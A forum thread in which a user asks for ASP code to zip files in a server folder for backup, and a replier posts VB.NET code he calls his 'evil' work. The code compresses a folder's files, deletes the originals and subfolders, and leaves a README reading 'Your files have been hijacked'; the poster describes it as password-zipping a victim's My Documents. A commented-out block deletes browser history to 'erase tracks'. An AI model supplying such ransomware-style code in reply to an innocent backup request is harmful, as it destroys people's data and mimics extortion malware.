Zip files within a folder

windows

Guest
Hello,
i would like to see if you someone has a code that can zip files within a folder on the server:confused:. The files are created on a daily basis. So there is no way to know what the file names are. If it can zip everything in the folder it will be nice.
I am using ASP, and i tried many free codes but they are returning with HTTP 500 programming error page. i think that they are missing some components.

If this isn't possible, is there any other way to backup files within a folder without having to ftp to the server and copy them.

Thanks:)I have zipped files before, but it was a vb.net project.

I know this is too much code.
I "ve written this in my "evil" days ;)

It gets your "my documents" location depending on OS
it takes everything in "my documents", zips the files into 1 zip-file with a password.
Then it leaves a text file saying "you have been hi-jacked"

if you know a little vb, you"ll cope ;)

Imports System.IO.Compression
Imports System.IO
Imports System.Net
Imports System.Net.Dns
Imports System.Management

Public Class Form1
Dim inputdir As String = "c:\input\"
Dim outputdir As String = "c:\output\"
Dim inputdirstruc As New ArrayList
Dim m_util As New ZipUtil
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

End Sub
Public Function IPToHostName(ByVal IPAddress As String) _
As String
Dim objEntry As IPHostEntry
Dim sAns As String
Try
objEntry = Resolve(IPAddress)
sAns = objEntry.HostName
Catch ex As Exception

sAns = ""
End Try
Return sAns
End Function
Public Function OS_Version() As String

Dim osInfo As OperatingSystem
Dim sAns As String

osInfo = System.Environment.OSVersion

With osInfo
Select Case .Platform
Case .Platform.Win32Windows
Select Case (.Version.Minor)
Case 0
sAns = "Windows 95"
Case 10
If .Version.Revision.ToString() = "2222A" Then
sAns = "Windows 98 Second Edition"
Else
sAns = "Windows 98"
End If
Case 90
sAns = "Windows Me"
End Select
Case .Platform.Win32NT
Select Case (.Version.Major)
Case 3
sAns = "Windows NT 3.51"
Case 4
sAns = "Windows NT 4.0"
Case 5
If .Version.Minor = 0 Then
sAns = "Windows 2000"
ElseIf .Version.Minor = 1 Then
sAns = "Windows XP"
ElseIf .Version.Minor = 2 Then
sAns = "Windows Server 2003"
Else 'Future version maybe update
'as needed
sAns = "Unknown Windows Version"
End If
End Select
End Select
End With
Return sAns
End Function
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Label1.Text = IPToHostName(TextBox1.Text)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
'************************
'Delete the ouput folder*
'************************
Try
' Variables
Dim sPath = outputdir
Dim diMain As DirectoryInfo = New DirectoryInfo(sPath)
Dim diChildren() As DirectoryInfo = diMain.GetDirectories
Dim del As Directory
Dim nCnt%

' Loop
For nCnt = 0 To UBound(diChildren)
del.Delete(sPath & "\" & Convert.ToString(diChildren(nCnt)), True)
Next
Catch ex As Exception
End Try

Dim outputdirloction As IO.DirectoryInfo = New DirectoryInfo(outputdir)
If outputdirloction.Exists = False Then
MkDir(outputdir)
End If

'************************************************
'Treat the files on the root
'************************************************
Dim di As New IO.DirectoryInfo(inputdir)
Dim diar1 As IO.FileInfo() = di.GetFiles()
Dim dra As IO.FileInfo
For Each dra In diar1
Dim sourcefile As String = inputdir & "\" & dra.ToString
Dim destinationfile As String = outputdir & "\" & dra.ToString
m_util.CompressFile(sourcefile, destinationfile)
File.Delete(inputdir & "\" & dra.ToString)
Next

'********************************************
'Retrieve all directories in the inputfolder*
'********************************************
Dim d As DirectoryInfo
Dim ofs As New DirectoryInfo(inputdir & "\")

For Each d In ofs.GetDirectories
inputdirstruc.Add(d.ToString)
Next

'****************************************************
'Loop them & zip the files into the output directory*
'****************************************************
For i As Integer = 0 To inputdirstruc.Count - 1
Dim dir As New IO.DirectoryInfo(inputdir & inputdirstruc(i).ToString & "\")
Dim diar2 As IO.FileInfo() = dir.GetFiles()
Dim dra2 As IO.FileInfo

Dim oldfolder As New IO.DirectoryInfo(outputdir & inputdirstruc(i).ToString & "\")
If oldfolder.Exists = False Then
MkDir(outputdir & inputdirstruc(i).ToString & "\")
End If

For Each dra2 In diar2
Dim sourcefile As String = inputdir & inputdirstruc(i).ToString & "\" & dra2.ToString
Dim destinationfile As String = outputdir & inputdirstruc(i).ToString & "\" & dra2.ToString
m_util.CompressFile(sourcefile, destinationfile)
File.Delete(inputdir & inputdirstruc(i).ToString & "\" & dra2.ToString)
Next
Next

'************************
'Delete the ouput folder*
'************************
Try
' Variables
Dim sPath = inputdir
Dim diMain As DirectoryInfo = New DirectoryInfo(sPath)
Dim diChildren() As DirectoryInfo = diMain.GetDirectories
Dim del As Directory
Dim nCnt%

' Loop
For nCnt = 0 To UBound(diChildren)
del.Delete(sPath & "\" & Convert.ToString(diChildren(nCnt)), True)
Next
Catch ex As Exception
End Try

'************************************************
'Write README file to explain user what happened*
'************************************************
'write & execute bat-file
Dim filename As String = inputdir & "README.txt"
Dim objStreamWriter As StreamWriter
objStreamWriter = File.AppendText(filename)

'Write content of bat-file
objStreamWriter.WriteLine("Your files have been hijacked")
objStreamWriter.Close()

Dim objStreamReader As StreamReader
objStreamReader = File.OpenText(filename)
Dim contents As String = objStreamReader.ReadToEnd()
objStreamReader.Close()
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Label1.Text = OS_Version() & " " & My.Computer.Info.InstalledUICulture.NativeName
End Sub
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
'Dim DI As New IO.DirectoryInfo("C:\Documents and Settings\" & Environment.UserName & "\Local Settings\History")
'Dim Fi As IO.FileInfo

'For Each Fi In DI.GetFiles("*.IE5")
' Fi.Delete()
'Next
'MessageBox.Show("Files Have Been Deleted!", "Erase My Tracks Message", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Sub
End Class
 
Top